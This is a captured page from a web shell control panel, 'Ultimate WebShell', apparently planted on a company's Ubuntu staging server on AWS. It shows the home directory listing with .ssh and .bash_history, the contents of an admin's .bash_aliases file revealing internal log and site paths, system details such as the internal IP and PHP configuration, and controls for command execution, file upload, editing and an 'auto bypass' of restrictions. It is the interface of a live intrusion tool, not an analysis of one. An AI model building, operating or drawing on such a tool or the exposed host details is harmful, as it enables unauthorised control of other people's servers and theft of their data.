WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
home
ubuntu
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2021-08-09 14:58:49
-
.cache
Folder
-
0700
2021-08-09 18:01:43
.config
Folder
-
0775
2021-09-27 16:29:57
.local
Folder
-
0775
2021-08-09 16:00:28
.ssh
Folder
-
0700
2024-07-11 20:28:22
.vscode-server
Folder
-
0775
2022-06-13 20:18:52
.wp-cli
Folder
-
0775
2021-08-09 19:26:49
Sites
Folder
-
0755
2021-08-09 18:26:28
atd
Folder
-
0775
2024-05-14 18:50:41
atd_cfn
Folder
-
0755
2021-08-09 15:02:08
.bash_aliases
File
3.08 KB
0664
2024-07-02 14:14:12
.bash_history
File
15.5 KB
0600
2026-07-30 14:25:03
.bash_logout
File
220 B
0644
2020-02-25 12:03:22
.bashrc
File
5.18 KB
0644
2025-02-12 16:43:07
.bashrc.bak
File
3.68 KB
0644
2020-02-25 12:03:22
.gitattributes
File
1.69 KB
0644
2021-08-09 15:01:04
.gitconfig
File
1.34 KB
0644
2021-08-09 16:06:26
.mysql_history
File
205 B
0600
2021-08-11 18:23:12
.profile
File
807 B
0644
2020-02-25 12:03:22
.screenrc
File
196 B
0644
2021-08-09 15:01:04
.sudo_as_admin_successful
File
0 B
0644
2021-08-09 15:04:11
.viminfo
File
21.42 KB
0600
2025-12-04 20:33:23
.vimrc
File
236 B
0644
2021-08-09 15:01:04
.wget-hsts
File
268 B
0664
2022-06-13 16:07:09
swap_setup.sh
File
1.22 KB
0755
2021-08-09 15:01:04
system_update.sh
File
928 B
0755
2021-08-09 15:01:04
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: .bash_aliases
#!/bin/bash ## aliases go here, this file is included from ~/.bashrc #list 10 most recent files in cwd or dir specified lth() { ls -Alht --color=always "$@" |head; } # make less interpret color codes alias less='less -r' #make ccze output ansi colors to stdout & disable lookups for MASSIVE performance boost alias ccze='ccze -A -o nolookups ' ccat() { ccze < "$1";} # tail recent file in current dir alias tail-recent='tail -n 999 -F "$( ls -1 -t "$(pwd)/"* |head -n1 )" |ccze -A' alias tail-cloudfront='tail -F /var/log/apache2/*.log |grep --line-buffered -i cloudfront |ccze' # watch all logs (except splunk logs; made for machine readable, not human) alias tail-logs=' tail -F $(find /var/log/ -name "*log" |grep -v "apache2/splunk__" ) |ccze -A' # Special Specialty Adddition # follow all the logs for a given env tail-logs-env(){ env_str="$1" tail -F /mnt/Sites/specialty.autotrader.com/default/build/log/atx_app_np.log|grep --line-buffered '"env":"'"$env_str"'"' & tail -F \ /var/log/nodejs/*"$env_str"*.log \ /var/log/apache2/*"$env_str"*.log \ /var/log/nginx/*"$env_str"*.log \ /mnt/Sites/specialty.autotrader.com/"$env_str"/build/cakephp/*.com/tmp/logs/*.log \ /mnt/Sites/specialty.autotrader.com/"$env_str"/build/log/*.log \ /mnt/Sites/cdn/"$env_str"/build/logs/*.log \ |ccze } # Block an IP (drops all incoming packets using iptables) # EX: block-ip IP_ADDRESS_SPAMMING_THE_SITE block-ip(){ bad_ip="$1" sudo iptables -I INPUT -s "$bad_ip" -j DROP } alias BlockIp='block-ip' #make grepping over php & js easier alias grep-php='grep -rn --include="*.php" --include="*.ctp" --include="*.phtml" --exclude="*.log" --exclude-dir=node_modules --exclude-dir=wflogs --exclude="*.min.*"' alias grep-js='grep -rn --include="*.php" --include="*.ctp" --include="*.phtml" --exclude="*.log" --include="*.js" --include="*.jsx" --exclude-dir=node_modules --exclude-dir=dist --exclude-dir=dist_server --exclude="*.min.*" --exclude="*.bundle.js*"' alias grep-css='grep -rn --include="*.css" --include="*.scss" --exclude="*.log" --exclude-dir=node_modules --exclude="*.min.*" --exclude="*.compiled.*"' alias replace-php-short-open-tags="perl -pi -e '"'s/(<\?(?!php))/<\?php /g'"'" #### #### Laravel #### # php artisan with less typing alias artisan='php artisan' # autocomplete for artisan _artisan() { COMP_WORDBREAKS=${COMP_WORDBREAKS//:} COMMANDS=`php artisan --raw --no-ansi list | sed "s/[[:space:]].*//g"` COMPREPLY=(`compgen -W "$COMMANDS" -- "${COMP_WORDS[COMP_CWORD]}"`) return 0 } complete -F _artisan art complete -F _artisan artisan alias nom='npm' #tired of seeing snaps in df output # if you want more mountpoints, spell them out here alias df='df -h / /mnt/Sites ' if [ ! -d "/mnt/Sites" ]; then # handle servers without app volume mounted at /mnt/Sites alias df='df -h / ' fi #output ssl cert info like valid from & to alias show-ssl-cert='nmap -p 443 --script ssl-cert ' # list only sshfs mounts alias show-sshfs-mounts='mount |grep "fuse.sshfs" |sort |column -t'
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED